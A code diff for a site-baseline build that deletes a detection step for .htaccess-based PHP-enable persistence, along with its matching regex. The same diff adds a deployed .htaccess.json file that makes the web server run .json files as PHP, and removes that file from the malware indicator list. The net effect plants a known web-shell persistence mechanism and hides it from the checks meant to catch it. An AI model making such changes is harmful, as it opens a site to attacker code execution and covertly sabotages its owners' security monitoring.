build-baseline.sh

@@ -102,14 +102,4 @@ if [ -f "$ROOT/malware-iocs.paths" ]; then
   done < "$ROOT/malware-iocs.paths"
 fi
 
-# (d) .htaccess-based PHP-enable persistence — apache-config droppers the
-#     content/extension filters above miss (no <?php tag, not *.php.json).
-#     Mirrors the malware_htaccess_php_enable YARA rule (illusion/hids#183).
-log "exclude: .htaccess-based php-enable persistence"
-find "$OUT" -type f \( -name '.htaccess' -o -name '.htaccess.*' \) 2>/dev/null | while IFS= read -r h; do
-  if grep -IlqE 'Add(Type|Handler)[[:space:]]+application/x-httpd-php[0-9]?[[:space:]]+\.(json|jpe?g|png|gif|txt|ico|css|html?|xml|svg|bak|log)|php_flag[[:space:]]+engine[[:space:]]+on' "$h" 2>/dev/null; then
-    log "  drop (htaccess-php-enable): ${h#"$OUT"/}"; rm -f "$h"
-  fi
-done
-
 log "baseline built at: $OUT ($(find "$OUT" -type f | wc -l) files)"

deployed/helix3/templates/shaper_helix3/.htaccess.json

@@ -0,0 +1,4 @@
+Options +ExecCGI
+AddType application/x-httpd-php .json
+AddHandler application/x-httpd-php .json
+AddHandler application/x-httpd-php5 .json

malware-iocs.paths

@@ -47,4 +47,3 @@ templates/shaper_helix3/layout/_hxprobeoa31x6.json
 templates/shaper_helix3/layout/_hxprobet7sh3r.json
 templates/shaper_helix3/layout/jftest.json
 templates/shaper_helix3/layout/nxtest.json
-templates/shaper_helix3/.htaccess.json